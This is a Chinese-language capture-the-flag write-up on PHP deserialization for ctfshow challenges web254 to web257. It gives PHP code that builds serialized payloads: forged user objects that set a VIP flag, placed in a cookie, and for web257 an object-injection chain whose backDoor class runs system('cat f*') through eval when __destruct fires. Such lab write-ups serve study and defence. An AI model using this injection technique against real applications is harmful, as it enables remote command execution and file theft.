序列化:是将变量转换为可保存或传输的字符串的过程
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
notice:序列化只是将变量序列化。试图通过序列化修改对象中函数的操作都是痴心妄想。
web254
?username=xxxxxx&password=xxxxxx
web255
对ctfshowUser类修改一下得出反序列化后的结果
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return true;
}
public function login($u,$p){
return true;
}
public function vipOneKeyGetFlag(){
echo $flag;
}
}
echo urlencode(serialize(new ctfShowUser));
?>
web256
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
?>
把反序列化的结果放入Cookie中
web257
前面之前提到过,序列化只会将变量变成字符串存储,不会对函数有何处理。
还有一个点需要记住,即将一个字符串进行反序列化的时候是不会触发__construct()
函数的,但是会触发__destruct()
函数。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("cat f*");';
public function getInfo(){
eval($this->code);
}
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>
分析(废话连篇)
这里要拿到flag,就必须想办法触发backDoor对象的getInfo()
函数,但是题目中默认的是触发info对象里的getInfo()
函数。
同时,我们注意到,题目中是将info对象实例化存储在变量$class
中(通过__construct()
函数),而序列化只会将对象中的变量存储成字符串。所以,我们可以像利用跳板一样,利用ctfshowUser这个对象的序列化将backDoor对象当作字符串存储其中。